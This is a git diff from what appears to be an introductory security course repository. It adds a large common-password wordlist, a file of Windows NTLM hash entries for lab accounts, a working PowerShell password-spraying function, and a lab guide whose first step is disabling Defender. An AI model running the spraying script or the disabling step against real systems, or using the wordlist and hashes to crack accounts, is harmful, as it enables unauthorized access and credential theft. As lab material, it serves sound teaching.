+bamboo +beagle +bears +beatles +beautiful +beaver +benny +bigmac +bingo +bitch +blonde +boogie +boston +brenda +bright +bubba1 +bubbles +buffy +button +buttons +cactus +candy +captain +carlos +caroline +carrie +casper +catch22 +chance +charity +charlotte +cheese +cheryl +chloe +chris1 +clancy +compaq +conrad +cooper +cooter +copper +cosmos +cougar +cracker +crawford +crystal +curtis +cyclone +dance +diablo +dollars +dookie +dumbass +dundee +elizabeth +eric +europe +farmer +firebird +fletcher +fluffy +france +freak1 +friends +fuckoff +gabriel +galaxy +gambit +garden +garfield +garnet +genesis +genius +godzilla +golfer +goober +grace +greenday +groovy +grover +guitar +hacker +harry +hazel +hector +herbert +horizon +hornet +howard +icecream +imagine +impala +jack +janice +jasmine +jason1 +jeanette +jeffrey +jenifer +jenni +jesus1 +jewels +joker +julie +julie1 +junior +justin1 +kathleen +keith +kelly +kelly1 +kennedy +kevin1 +knicks +larry1 +leonard +lestat +library +lincoln +lionking +london +louise +lucky1 +lucy +maddog +margaret +mariposa +marlboro +martin1 +marty +master1 +mensuck +mercedes +metal +midori +mikey +millie +mirage +molly +monet +money1 +monica +monopoly +mookie +moose +moroni +music +naomi +nathan +nguyen +nicholas +nicole +nimrod +october +olive +olivia +online +oscar +oxford +pacific +painter +peaches +penelope +pepsi +petunia +philip +phoenix1 +photo +pickle +player +poiuyt +porsche +porter +puppy +python +quality +raquel +raven +remember +robbie +robert1 +roman +rugby +runner +russell +ryan +sailing +sailor +samantha +savage +scarlett +school +sean +seven +shadow1 +sheba +shelby +shit +shoes +simba +simple +skipper +smiley +snake +snickers +sniper +snoopdog +snowman +sonic +spitfire +sprite +spunky +starwars +station +stella +stingray +storm +stormy +stupid +sunny1 +sunrise +surfer +susan +tammy +tango +tanya +teddy1 +theboss +theking +thumper +tina +tintin +tomcat +trebor +trevor +tweety +unicorn +valentine +valerie +vanilla +veronica +victor +vincent +viper +warrior +warriors +weasel +wheels +wilbur +winston +wisdom +wombat +xavier +yellow +zeppelin +1111 +1212 +Andrew +Family +Friends +Michael +Michelle +Snoopy +abcd1234 +abcdefg +abigail +account +adam +alex1 +alice1 +allison +alpine +andre1 +andrea1 +angel1 +anita +annette +antares +apache +apollo +aragorn +arizona +arnold +arsenal +asdfasdf +asdfg +asdfghjk +avenger +baby +babydoll +bailey +banana +barry +basket +batman1 +beaner +beast +beatrice +bella +bertha +bigben +bigdog +biggles +bigman +binky +biology +bishop +blondie +bluefish +bobcat +bosco +braves +brazil +bruce +bruno +brutus +buffalo +bulldog +bullet +bullshit +bunny +business +butch +butler +butter +california +carebear +carol +carol1 +carole +cassie +castle +catalina +catherine +cccccc +celine +center +champion +chanel +chaos +chelsea1 +chester1 +chicago +chico +christian +christy +church +cinder +colleen +colorado +columbia +commander +connie +cookies +cooking +corona +cowboys +coyote +craig +creative +cuddles +cuervo +cutie +daddy +daisy +daniel1 +danielle +davids +death +denis +derek +design +destiny +diana +diane +dickhead +digger +dodger +donna +dougie +dragonfly +dylan +eagle +eclipse +electric +emerald +etoile +excalibur +express +fender +fiona +fireman +flash +florida +flowers +foster +francesco +francine +francois +frank +french +fuckface +gemini +general +gerald +germany +gilbert +goaway +golden +goldfish +goose +gordon +graham +grant +gregory +gretchen +gunner +hannah +harold +harrison +harvey +hawkeye +heaven +heidi +helen +helena +hithere +hobbit +ibanez +idontknow +integra +ireland +irene +isaac +isabel +jackass +jackie +jackson +jaguar +jamaica +japan +jenny1 +jessie +johan +johnny +joker1 +jordan23 +judith +julia +jumanji +kangaroo +karen1 +kathy +keepout +keith1 +kenneth +kimberly +kingdom +kitkat +kramer +kristen +laura +laurie +lawrence +lawyer +legend +liberty +light +lindsay +lindsey +lisa +liverpool +lola +lonely +louis +lovely +loveme +lucas +madonna +malcolm +malibu +marathon +marcel +maria1 +mariah +mariah1 +marilyn +mario +marvin +maurice +maxine +maxwell +me +meggie +melanie +melissa +melody +mexico +michael1 +michele +midnight +mike1 +miracle +misha +mishka +molly1 +monique +montreal +moocow +moore +morris +mouse1 +mulder +nautica +nellie +newton +nick +nirvana1 +nissan +norman +notebook +ocean +olivier +ollie +oranges +oregon +orion +panda +pandora +panther +passion +patricia +pearl +peewee +pencil +penny +people +percy +person +peter1 +petey +picasso +pierre +pinkfloyd +polaris +police +pookie1 +poppy +power +predator +preston +q1w2e3 +queen +queenie +quentin +ralph +random +rangers +raptor +reality +redrum +remote +reynolds +rhonda +ricardo +ricardo1 +ricky +river +roadrunner +robinhood +rocknroll +rocky1 +ronald +roxy +ruthie +sabrina +sakura +sally +sampson +samuel +sandra +santa +sapphire +scarlet +scorpio +scott1 +scottie +scruffy +seattle +serena +shanti +shark +shogun +simon +singer +skull +skywalker +slacker +smashing +smiles +snowflake +snuffy +soccer1 +soleil +sonny +spanky +speedy +spider +spooky +stacey +star69 +start +steven1 +stinky +strawberry +stuart +sugar +sundance +superfly +suzanne +suzuki +swimmer +swimming +system +taffy +tarzan +teddy +teddybear +terry +theatre +thunder +thursday +tinker +tootsie +tornado +tracy +tricia +trident +trojan +truman +trumpet +tucker +turtle +tyler +utopia +voyager +warcraft +warlock +warren +water +wayne +wendy +williams +willy +winona +woody +woofwoof +wrangler +wright +xfiles +xxxxxx +yankees +yvonne +zebra +zenith +zigzag +zombie +zxc123 +zxcvb +000000 +007007 +11111 +11111111 +123321 +171717 +181818 +1a2b3c +1chris +4runner +54321 +55555 +6969 +7777777 +789456 +88888888 +Alexis +Bailey +Charlie +Chris +Daniel +Dragon +Elizabeth +HARLEY +Heather +Jennifer +Jessica +Jordan +KILLER +Nicholas +Password +Princess +Purple +Rebecca +Robert +Shadow +Steven +Summer +Sunshine +Superman +Taylor +Thomas +Victoria +abcd123 +abcde +accord +active +africa +airborne +alfaro +alicia +aliens +alina +aline +alison +allen +aloha +alpha1 +althea +altima +amanda1 +amazing +america +amour +anderson +andre +andrew1 +andromeda +angels +angie1 +annie +anything +apple1 +apple2 +applepie +april +aquarius +ariane +ariel +arlene +artemis +asdf1234 +asdfjkl +ashley1 +ashraf +ashton +asterix +attila +autumn +avatar +babes +bambi +barbie +barney1 +barrett +bball +beaches +beanie +beans +beauty +becca +belize +belle +belmont +benji +benson +bernardo +berry +betsy +betty +bigboss +bigred +billy1 +birdie +birthday +biscuit +bitter +blackjack +blah +blanche +blood +blowjob +blowme +blueeyes +blues +bogart +bombay +boobie +boots +bootsie +boxers +brandi +brent +brewster +bridge +bronco +bronte +brooke +brother +bryan +bubble +buddha +budgie +burton +butterfly +byron +calendar +calvin1 +camel +camille +campbell +camping +cancer +canela +cannon +carbon +carnage +carolyn +carrot +cascade +catfish +cathy +catwoman +cecile +celica +change +chantal +charger +cherry +chiara +chiefs +china +chris123 +christ1 +christmas +christopher +chuck +cindy1 +cinema +civic +claude +clueless +cobain +cobra +cody +colette +college +colors +colt45 +confused +cool +corvette +cosmo +country +crusader +cunningham +cupcake +cynthia +dagger +dammit +dancer +daphne +darkstar +darren +darryl +darwin +deborah +december +deedee +deeznuts +delano +delete +demon +denise +denny +desert +deskjet +detroit +devil +devine +devon +dexter +dianne +diesel +director +dixie +dodgers +doggy +dollar +dolly +dominique +domino +dontknow +doogie +doudou +downtown +dragon1 +driver +dude +dudley +dutchess +dwight +eagle1 +easter +eastern +edith +edmund +eight +element +elissa +ellen +elliot +empire +enigma +enterprise +erin +escort +estelle +eugene +evelyn +explore +family1 +fatboy +felipe +ferguson +ferret +ferris +fireball +fishes +fishie +flight +florida1 +flowerpot +forward +freddie +freebird +freeman +frisco +fritz +froggie +froggies +frogs +fucku +future +gabby +games +garcia +gaston +gateway +george1 +georgia +german +germany1 +getout +ghost +gibson +giselle +gmoney +goblin +goblue +gollum +grandma +gremlin +grizzly +grumpy +guess +guitar1 +gustavo +haggis +haha +hailey +halloween +hamilton +hamlet +hanna +hanson +happy123 +happyday +hardcore +harley1 +harriet +harris +harvard +health +heart +heather1 +heather2 +hedgehog +helene +hello1 +hello123 +hellohello +hermes +heythere +highland +hilda +hillary +history +hitler +hobbes +holiday +holly +honda1 +hongkong +hootie +horse +hotrod +hudson +hummer +huskies +idiot +iforget +iloveu +impact +indonesia +irina +isabelle +israel +italia +italy +jackie1 +jacob +jakey +james1 +jamesbond +jamie +jamjam +jeffrey1 +jennie +jenny +jensen +jesse +jesse1 +jester +jethro +jimbob +jimmy +joanna +joelle +john316 +jordie +jorge +josh +journey +joyce +jubilee +jules +julien +juliet +junebug +juniper +justdoit +karin +karine +karma +katerina +katie +katie1 +kayla +keeper +keller +kendall +kenny +ketchup +kings +kissme +kitten +kittycat +kkkkkk +kristi +kristine +labtec +laddie +ladybug +lance +laurel +lawson +leader +leland +lemon +lester +letter +letters +lexus1 +libra +lights +lionel +little +lizzy +lolita +lonestar +longhorn +looney +loren +lorna +loser +lovers +loveyou +lucia +lucifer +lucky14 +maddie +madmax +magic1 +magnum +maiden +maine +management +manson +manuel +marcus +maria +marielle +marine +marino +marshall +martha +maxmax +meatloaf +medical +megan +melina +memphis +mermaid +miami +michel +michigan +mickey1 +microsoft +mikael +milano +miles +millenium +million +miranda +miriam +mission +mmmmmm +mobile +monkey1 +monroe +montana +monty +moomoo +moonbeam +morpheus +motorola +movies +mozart +munchkin +murray +mustang1 +nadia +nadine +napoleon +nation +national +nestle +newlife +newyork1 +nichole +nikita +nikki +nintendo +nokia +nomore +normal +norton +noway +nugget +number9 +numbers +nurse +nutmeg +ohshit +oicu812 +omega +openup +orchid +oreo +orlando +packard +packers +paloma +pancake +panic +parola +parrot +partner +pascal +patches +patriots +paula +pauline +payton +peach +peanuts +pedro1 +peggy +perfect +perry +peterpan +philips +phillips +phone +pierce +pigeon +pink +pioneer +piper1 +pirate +pisces +playboy +pluto +poetry +pontiac +pookey +popeye +prayer +precious +prelude +premier +puddin +pulsar +pussy +pussy1 +qwert +qwerty12 +qwertyui +rabbit1 +rachelle +racoon +rambo +randy1 +ravens +redman +redskins +reggae +reggie +renee +renegade +rescue +revolution +richard1 +richards +richmond +riley +ripper +robby +roberts +rock +rocket1 +rockie +rockon +roger1 +rogers +roland +rommel +rookie +rootbeer +rosie +rufus +rusty +ruthless +sabbath +sabina +safety +saint +samiam +sammie +sammy +samsam +sandi +sanjose +saphire +sarah1 +saskia +sassy +saturday +science +scooby +scoobydoo +scooter1 +scorpion +scotty +scouts +search +september +server +seven7 +sexy +shaggy +shanny +shaolin +shasta +shayne +shelly +sherry +shirley +shorty +shotgun +sidney +simba1 +sinatra +sirius +skate +skipper1 +skyler +slayer +sleepy +slider +smile1 +smitty +smoke +snakes +snapper +snoop +solomon +sophia +space +sparks +spartan +spike1 +sponge +spurs +squash +stargate +starlight +stars +steph1 +steve1 +stevens +stewart +stone +stranger +stretch +strong +studio +stumpy +sucker +suckme +sultan +summit +sunfire +sunset +super +superstar +surfing +susan1 +sutton +sweden +sweetpea +sweety +swordfish +tabatha +tacobell +taiwan +tamtam +tanner +target +tasha +tattoo +tequila +terry1 +texas +thankyou +theend +thompson +thrasher +tiger2 +timber +timothy +tinkerbell +topcat +topher +toshiba +tototo +travis +treasure +trees +tricky +trish +triton +trombone +trouble +trucker +turbo +twins +tyler1 +ultimate +unique +united +ursula +vacation +valley +vampire +vanessa +venice +venus +vermont +vicki +vicky +victor1 +vincent1 +violet +violin +virgil +virginia +vision +volley +voodoo +vortex +waiting +wanker +warner +water1 +wayne1 +webster +weezer +wendy1 +western +white +whitney +whocares +wildcat +william1 +wilma +window +winniethepooh +wolfgang +wolverine +wonder +xxxxxxxx +yamaha +yankee +yogibear +yolanda +yomama +yvette +zachary +zebras +zxcvbn +00000000 +121212 +1234qwer +131313 +13579 +90210 +99999999 +ABC123 +action +amelie +anaconda +apollo13 +artist +asshole +benoit +bernard +bernie +bigbird +blizzard +bluesky +bonjour +caesar +cardinal +carolina +cesar +chandler +chapman +charlie1 +chevy +chiquita +chocolat +coco +cougars +courtney +dolphins +dominic +donkey +dusty +eminem +energy +fearless +forest +forever +glenn +guinness +hotdog +indian +jared +jimbo +johnson +jojo +josie +kristin +lloyd +lorraine +lynn +maxime +memory +mimi +mirror +nebraska +nemesis +network +nigel +oatmeal +patton +pedro +planet +players +portland +praise +psalms +qwaszx +raiders +rambo1 +rancid +shawn +shelley +softball +speedo +sports +ssssss +steele +steph +stephani +sunday +tiffany +tigre +toronto +trixie +undead +valentin +velvet +viking +walker +watson +young +babygirl +pretty +hottie +teamo +987654321 +naruto +spongebob +daniela +princesa +christ +blessed +single +qazwsx +pokemon +iloveyou1 +iloveyou2 +fuckyou1 +hahaha +poop +blessing +blahblah +blink182 +123qwe +trinity +passw0rd +google +looking +spirit +iloveyou! +qwerty1 +onelove +mylove +222222 +ilovegod +football1 +loving +emmanuel +1q2w3e4r +red123 +blabla +112233 +hallo +spiderman +simpsons +monster +november +brooklyn +poopoo +darkness +159753 +pineapple +chester +1qaz2wsx +drowssap +monkey12 +wordpass +q1w2e3r4 +coolness +11235813 +something +alexandra +estrella +miguel +iloveme +sayang +princess1 +555555 +999999 +alejandro +brittany +alejandra +tequiero +antonio +987654 +00000 +fernando +corazon +cristina +kisses +myspace +rebelde +babygurl +alyssa +mahalkita +gabriela +pictures +hellokitty +babygirl1 +angelica +mahalko +mariana +eduardo +andres +ronaldo +inuyasha +adriana +celtic +samsung +angelo +456789 +sebastian +karina +hotmail +0123456789 +barcelona +cameron +slipknot +cutiepie +50cent +bonita +maganda +babyboy +natalie +cuteako +javier +789456123 +123654 +bowwow +portugal +777777 +volleyball +january +cristian +bianca +chrisbrown +101010 +sweet +panget +benfica +love123 +lollipop +camila +qwertyuiop +harrypotter +ihateyou +christine +lorena +andreea +charmed +rafael +brianna +aaliyah +johncena +lovelove +gangsta +333333 +hiphop +mybaby +sergio +metallica +myspace1 +babyblue +badboy +fernanda +westlife +sasuke +steaua +roberto +slideshow +asdfghjkl +santiago +jayson +5201314 +jerome +gandako +gatita +babyko +246810 +sweetheart +chivas +alberto +valeria +nicole1 +12345678910 +leonardo +jayjay +liliana +sexygirl +232323 +amores +anthony1 +bitch1 +fatima +miamor +lover +lalala +252525 +skittles +colombia +159357 +manutd +123456a +britney +katrina +christina +pasaway +mahal +tatiana +cantik +0123456 +teiubesc +147258369 +natalia +francisco +amorcito +paola +angelito +manchester +mommy1 +147258 +amigos +marlon +linkinpark +147852 +diego +444444 +iverson +andrei +justine +frankie +pimpin +fashion +bestfriend +england +hermosa +456123 +102030 +sporting +hearts +potter +iloveu2 +number1 +212121 +truelove +jayden +savannah +hottie1 +ganda +scotland +ilovehim +shakira +estrellita +brandon1 +sweets +familia +love12 +omarion +monkeys +loverboy +elijah +ronnie +mamita +999999999 +broken +rodrigo +westside +mauricio +amigas +preciosa +shopping +flores +isabella +martinez +elaine +friendster +cheche +gracie +connor +valentina +darling +santos +joanne +fuckyou2 +pebbles +sunshine1 +gangster +gloria +darkangel +bettyboop +jessica1 +cheyenne +dustin +iubire +a123456 +purple1 +bestfriends +inlove +batista +karla +chacha +marian +sexyme +pogiako +jordan1 +010203 +daddy1 +daddysgirl +billabong +pinky +erika +skater +nenita +tigger1 +gatito +lokita +maldita +buttercup +bambam +glitter +123789 +sister +zacefron +tokiohotel +loveya +lovebug +bubblegum +marissa +cecilia +lollypop +nicolas +puppies +ariana +chubby +sexybitch +roxana +mememe +susana +baller +hotstuff +carter +babylove +angelina +playgirl +sweet16 +012345 +bhebhe +marcos +loveme1 +milagros +lilmama +beyonce +lovely1 +catdog +armando +margarita +151515 +loves +202020 +gerard +undertaker +amistad +capricorn +delfin +cheerleader +password2 +PASSWORD +lizzie +matthew1 +enrique +badgirl +141414 +dancing +cuteme +amelia +skyline +angeles +janine +carlitos +justme +legolas +michelle1 +cinderella +jesuschrist +ilovejesus +tazmania +tekiero +thebest +princesita +lucky7 +jesucristo +buddy1 +regina +myself +lipgloss +jazmin +rosita +chichi +pangit +mierda +741852963 +hernandez +arturo +silvia +melvin +celeste +pussycat +gorgeous +honeyko +mylife +babyboo +loveu +lupita +panthers +hollywood +alfredo +musica +hawaii +sparkle +kristina +sexymama +crazy +scarface +098765 +hayden +micheal +242424 +0987654321 +marisol +jeremiah +mhine +isaiah +lolipop +butterfly1 +xbox360 +madalina +anamaria +yourmom +jasmine1 +bubbles1 +beatriz +diamonds +friendship +sweetness +desiree +741852 +hannah1 +bananas +julius +leanne +marie1 +lover1 +twinkle +february +bebita +87654321 +twilight +imissyou +pollito +ashlee +cookie1 +147852369 +beckham +simone +nursing +torres +damian +123123123 +joshua1 +babyface +dinamo +mommy +juliana +cassandra +redsox +gundam +0000 +ou812 +dave +golf +molson +Monday +newpass +thx1138 +1 +Internet +coke +foobar +abc +fish +fred +help +ncc1701d +newuser +none +pat +dog +duck +duke +floyd +guest +joe +kingfish +micro +sam +telecom +test1 +7777 +absolut +babylon5 +backup +bill +bird33 +deliver +fire +flip +galileo +gopher +hansolo +jane +jim +mom +passwd +phil +phish +porsche911 +rain +red +sergei +training +truck +video +volvo +007 +1969 +5683 +Bond007 +Friday +Hendrix +October +Taurus +aaa +alexandr +catalog +challenge +clipper +coltrane +cyrano +dan +dawn +dean +deutsch +dilbert +e-mail +export +ford +fountain +fox +frog +gabriell +garlic +goforit +grateful +hoops +lady +ledzep +lee +mailman +mantra +market +mazda1 +metallic +ncc1701e +nesbitt +open +pete +quest +republic +research +supra +tara +testing +xanadu +xxxx +zaphod +zeus +0007 +1022 +10sne1 +1973 +1978 +2000 +2222 +3bears +Broadway +Fisher +Jeanne +Killer +Knight +Master +Pepper +Sierra +Tennis +abacab +abcd +ace +acropolis +amy +anders +avenir +basil +bass +beer +ben +bliss +blowfish +boss +bridges +buck +bugsy +bull +cannondale +canon +catnip +chip +civil +content +cook +cordelia +crack1 +cyber +daisie +dark1 +database +deadhead +denali +depeche +dickens +emmitt +entropy +farout +farside +feedback +fidel +firenze +fish1 +fletch +fool +fozzie +fun +gargoyle +gasman +gold +graphic +hell +image +intern +intrepid +jeff +jkl123 +joel +johanna1 +kidder +kim +king +kirk +kris +lambda +leon +logical +lorrie +major +mariner +mark1 +max +media +merlot +midway +mine +mmouse +moon +mopar +mortimer +nermal +nina +olsen +opera +overkill +pacers +packer +picard +polar +polo +primus +prometheus +public +radio +rastafarian +reptile +rob +robotech +rodeo +rolex +rouge +roy +ruby +salasana +scarecrow +scout +scuba1 +sergey +skibum +skunk +sound +starter +sting1 +sunbird +tbird +teflon +temporal +terminal +the +thejudge +time +toby +today +tokyo +tree +trout +vader +val +valhalla +windsurf +wolf +wolf1 +xcountry +yoda +yukon +1213 +1214 +1225 +1313 +1818 +1975 +1977 +1991 +1kitty +2001 +2020 +2112 +2kids +333 +4444 +5050 +57chevy +7dwarfs +Animals +Ariel +Bismillah +Booboo +Boston +Carol +Computer +Creative +Curtis +Denise +Eagles +Esther +Fishing +Freddy +Gandalf +Golden +Goober +Hacker +Harley +Henry +Hershey +Jackson +Jersey +Joanna +Johnson +Katie +Kitten +Liberty +Lindsay +Lizard +Madeline +Margaret +Maxwell +Money +Monster +Pamela +Peaches +Peter +Phoenix +Piglet +Pookie +Rabbit +Raiders +Random +Russell +Sammy +Saturn +Skeeter +Smokey +Sparky +Speedy +Sterling +Theresa +Thunder +Vincent +Willow +Winnie +Wolverine +aaaa +aardvark +abbott +acura +admin +admin1 +adrock +aerobics +agent +airwolf +ali +alien +allegro +allstate +altamira +altima1 +andrew! +ann +anne +anneli +aptiva +arrow +asdf;lkj +assmunch +baraka +barnyard +bart +bartman +beasty +beavis1 +bebe +belgium +beowulf +beryl +best +bharat +bichon +bigal +biker +bilbo +bills +bimmer +biochem +birdy +blinds +blitz +bluejean +bogey +bogus +boulder +bourbon +boxer +brain +branch +britain +broker +bucks +buffett +bugs +bulls +burns +buzz +c00per +calgary +camay +carl +cat +cement +cessna +chad +chainsaw +chameleon +chang +chess +chinook +chouette +chronos +cicero +circuit +cirque +cirrus +clapton +clarkson +class +claudel +cleo +cliff +clock +color +comet +concept +concorde +coolbean +corky +cornflake +corwin +cows +crescent +cross +crowley +cthulhu +cunt +current +cutlass +daedalus +dagger1 +daily +dale +dana +daytek +dead +decker +dharma +dillweed +dipper +disco +dixon +doitnow +doors +dork +doug +dutch +effie +ella +elsie +engage +eric1 +ernie1 +escort1 +excel +faculty +fairview +faust +fenris +finance +first +fishhead +flanders +fleurs +flute +flyboy +flyer +franka +frederic +free +front242 +frontier +fugazi +funtime +gaby +gaelic +gambler +gammaphi +garfunkel +garth +gary +gateway2 +gator1 +gibbons +gigi +gilgamesh +goat +godiva +goethe +gofish +good +gramps +gravis +gray +greed +greg +greg1 +greta +gretzky +guido +gumby +h2opolo +hamid +hank +hawkeye1 +health1 +hello8 +help123 +helper +homerj +hoosier +hope +huang +hugo +hydrogen +ib6ub9 +insight +instructor +integral +iomega +iris +izzy +jazz +jean +jeepster +jetta1 +joanie +josee +joy +julia2 +jumbo +jump +justice4 +kalamazoo +kali +kat +kate +kerala +kids +kiwi +kleenex +kombat +lamer +laser +laserjet +lassie1 +leblanc +legal +leo +life +lions +liz +logger +logos +loislane +loki +longer +lori +lost +lotus +lou +macha +macross +madoka +makeitso +mallard +marc +math +mattingly +mechanic +meister +mercer +merde +merrill +michal +michou +mickel +minou +mobydick +modem +mojo +montana3 +montrose +motor +mowgli +mulder1 +muscle +neil +neutrino +newaccount +nicklaus +nightshade +nightwing +nike +none1 +nopass +nouveau +novell +oaxaca +obiwan +obsession +orville +otter +ozzy +packrat +paint +papa +paradigm +pass +pavel +peterk +phialpha +phishy +piano1 +pianoman +pianos +pipeline +plato +play +poetic +print +printing +provider +qqq111 +quebec +qwer +racer +racerx +radar +rafiki +raleigh +rasta1 +redcloud +redfish +redwing +redwood +reed +rene +reznor +rhino +ripple +rita +robocop +robotics +roche +roni +rossignol +rugger +safety1 +saigon +satori +saturn5 +schnapps +scotch +scuba +secret3 +seeker +services +sex +shanghai +shazam +shelter +sigmachi +signal +signature +simsim +skydive +slick +smegma +smiths +smurfy +snow +sober1 +sonics +sony +spazz +sphynx +spock +spoon +spot +sprocket +starbuck +steel +stephi +sting +stocks +storage +strat +strato +stud +student2 +susanna +swanson +swim +switzer +system5 +t-bone +talon +tarheel +tata +tazdevil +tester +testtest +thisisit +thorne +tightend +tim +tom +tool +total +toucan +transfer +transit +transport +trapper +trash +trophy +tucson +turbo2 +unity +upsilon +vedder +vette +vikram +virago +visual +volcano +walden +waldo +walleye +webmaster +wedge +whale1 +whit +whoville +wibble +will +wombat1 +word +world +x-files +xxx123 +zack +zepplin +zoltan +zoomer +123go +21122112 +5555 +911 +FuckYou +Fuckyou +Gizmo +Hello +Michel +Qwerty +Windows +angus +aspen +ass +bird +booster +byteme +cats +changeit +christia +christoph +classroom +cloclo +corrado +dasha +fiction +french1 +fubar +gator +gilles +gocougs +hilbert +hola +home +judy +koko +lulu +mac +macintosh +mailer +mars +meow +ne1469 +niki +paul +politics +pomme +property +ruth +sales +salut +scrooge +skidoo +spain +surf +sylvie +symbol +forum +rotimi +god +saved +2580 +1998 +xxx +1928 +777 +info +a +netware +sun +tech +doom +mmm +one +ppp +1911 +1948 +1996 +5252 +Champs +Tuesday +bach +crow +don +draft +hal9000 +herzog +huey +jethrotull +jussi +mail +miki +nicarao +snowski +1316 +1412 +1430 +1952 +1953 +1955 +1956 +1960 +1964 +1qw23e +22 +2200 +2252 +3010 +3112 +4788 +6262 +Alpha +Bastard +Beavis +Cardinal +Celtics +Cougar +Darkman +Figaro +Fortune +Geronimo +Hammer +Homer +Janet +Mellon +Merlot +Metallic +Montreal +Newton +Paladin +Peanuts +Service +Vernon +Waterloo +Webster +aki123 +aqua +aylmer +beta +bozo +car +chat +chinacat +cora +courier +dogbert +eieio +elina1 +fly +funguy +fuzz +ggeorge +glider1 +gone +hawk +heikki +histoire +hugh +if6was9 +ingvar +jan +jedi +jimi +juhani +khan +lima +midvale +neko +nesbit +nexus6 +nisse +notta1 +pam +park +pole +pope +pyro +ram +reliant +rex +rush +seoul +skip +stan +sue +suzy +tab +testi +thelorax +tika +tnt +toto1 +tre +wind +x-men +xyz +zxc +369 +Abcdef +Asdfgh +Changeme +NCC1701 +Zxcvbnm +demo +doom2 +e +good-luck +homebrew +m1911a1 +nat +ne1410s +ne14a69 +zhongguo +sample123 +0852 +basf +OU812 +!@#$% +informix +majordomo +news +temp +trek +!@#$%^ +!@#$%^&* +Pentium +Raistlin +adi +bmw +law +m +new +opus +plus +visa +www +y +zzz +1332 +1950 +3141 +3533 +4055 +4854 +6301 +Bonzo +ChangeMe +Front242 +Gretel +Michel1 +Noriko +Sidekick +Sverige +Swoosh +Woodrow +aa +ayelet +barn +betacam +biz +boat +cuda +doc +hal +hallowell +haro +hosehead +i +ilmari +irmeli +j1l2t3 +jer +kcin +kerrya +kissa2 +leaf +lissabon +mart +matti1 +mech +morecats +paagal +performa +prof +ratio +ship +slip +stivers +tapani +targas +test2 +test3 +tula +unix +user1 +xanth +!@#$%^& +1701d +@#$%^& +Qwert +allo +dirk +go +newcourt +nite +notused +sss diff --git a/IntroClassFiles/Tools/IntroClass/PasswordCracking/sam.txt b/IntroClassFiles/Tools/IntroClass/PasswordCracking/sam.txt new file mode 100644 index 00000000..a9811cd3 --- /dev/null +++ b/IntroClassFiles/Tools/IntroClass/PasswordCracking/sam.txt @@ -0,0 +1,10 @@ +adhd:1000:aad3b435b51404eeaad3b435b51404ee:434db24baf9270299080b205b2b5e16b::: +Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: +allowlist:1203:aad3b435b51404eeaad3b435b51404ee:434db24baf9270299080b205b2b5e16b::: +bill:1802:aad3b435b51404eeaad3b435b51404ee:c4ddb64252adfc9e0558353099ded495::: +DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: +Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: +jenny:1803:aad3b435b51404eeaad3b435b51404ee:1c2f7f3b20a7a3c512c72c6551d5c8ae::: +john:1801:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c::: +leo:1804:aad3b435b51404eeaad3b435b51404ee:08942f2b090225613f4da5ae3e920bc5::: +neo:1805:aad3b435b51404eeaad3b435b51404ee:3ceb5ce361663e50b09a7768e5770e0e::: diff --git a/200-user-gen.bat b/IntroClassFiles/Tools/IntroClass/PasswordSpray/200-user-gen.bat similarity index 100% rename from 200-user-gen.bat rename to IntroClassFiles/Tools/IntroClass/PasswordSpray/200-user-gen.bat diff --git a/IntroClassFiles/Tools/IntroClass/PasswordSpray/LocalPasswordSpray.ps1 b/IntroClassFiles/Tools/IntroClass/PasswordSpray/LocalPasswordSpray.ps1 new file mode 100644 index 00000000..852a4e64 --- /dev/null +++ b/IntroClassFiles/Tools/IntroClass/PasswordSpray/LocalPasswordSpray.ps1 @@ -0,0 +1,64 @@ +function Invoke-LocalPasswordSpray { + Param( + [Parameter(Position = 1, Mandatory = $false)] + [string]$UserList = "C:\temp\UserList.txt", + [Parameter(Position = 2, Mandatory = $false)] + [string]$Password + ) + + # P/Invoke LogonUser directly - faster than PrincipalContext on Win11/2025 + $signature = @' +[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] +public static extern bool LogonUser( + string lpszUsername, + string lpszDomain, + string lpszPassword, + int dwLogonType, + int dwLogonProvider, + out IntPtr phToken); + +[DllImport("kernel32.dll", SetLastError = true)] +public static extern bool CloseHandle(IntPtr hObject); +'@ + + $AdvApi32 = Add-Type -MemberDefinition $signature -Name 'AdvApi32' -Namespace 'PInvoke' -PassThru + + # LOGON32_LOGON_INTERACTIVE = 2, LOGON32_PROVIDER_DEFAULT = 0 + # Try LOGON32_LOGON_NETWORK = 3 if interactive is throttled + $logonType = 3 + $logonProvider = 0 + + $UserListExists = Test-Path $UserList + if (-not $UserListExists) { + Write-Host "##### Making a list of all local users #####" + New-Item -ItemType Directory -Path "C:\temp" -Force | Out-Null + $rawUsers = net user + $stripped = ($rawUsers | Select-Object -Skip 4 | Where-Object { $_ -notmatch 'The command completed successfully\.' }) + $stripped.Trim() -replace '\s+', "`r`n" | Out-File -Encoding ascii C:\temp\UserList.txt + } + + Write-Host "[*] Using $UserList as userlist" + $Users = Get-Content $UserList + $count = $Users.Count + $curr_user = 0 + $time = Get-Date + Write-Host -ForegroundColor Yellow "[*] Password spraying started at $($time.ToShortTimeString())" + + foreach ($User in $Users) { + $token = [IntPtr]::Zero + # Use "." for local machine context + $result = $AdvApi32::LogonUser($User, ".", $Password, $logonType, $logonProvider, [ref]$token) + + if ($result) { + $null = $AdvApi32::CloseHandle($token) + Add-Content C:\temp\sprayed-creds.txt "$User`:$Password" + Write-Host -ForegroundColor Green "[*] SUCCESS! User:$User Password:$Password" + } + + $curr_user++ + Write-Host -NoNewline "$curr_user of $count users tested`r" + } + + Write-Host -ForegroundColor Yellow "`n[*] Password spraying complete" + Write-Host -ForegroundColor Yellow "[*] Results saved to C:\temp\sprayed-creds.txt" +} diff --git a/IntroClassFiles/Tools/IntroClass/PasswordSpray/PasswordSpray.md b/IntroClassFiles/Tools/IntroClass/PasswordSpray/PasswordSpray.md index 8be33166..b7c9ff00 100755 --- a/IntroClassFiles/Tools/IntroClass/PasswordSpray/PasswordSpray.md +++ b/IntroClassFiles/Tools/IntroClass/PasswordSpray/PasswordSpray.md @@ -3,39 +3,42 @@ # Password Spray -First things first, disable **Defender**. Open an instance of **Windows PowerShell** by clicking on the icon in the taskbar. Then run the following: +First things first, disable **Defender**. Open an instance of **Windows PowerShell** by clicking on the icon in the **desktop**. Then run the following: -![](attachments/OpeningPowershell.png) +image -
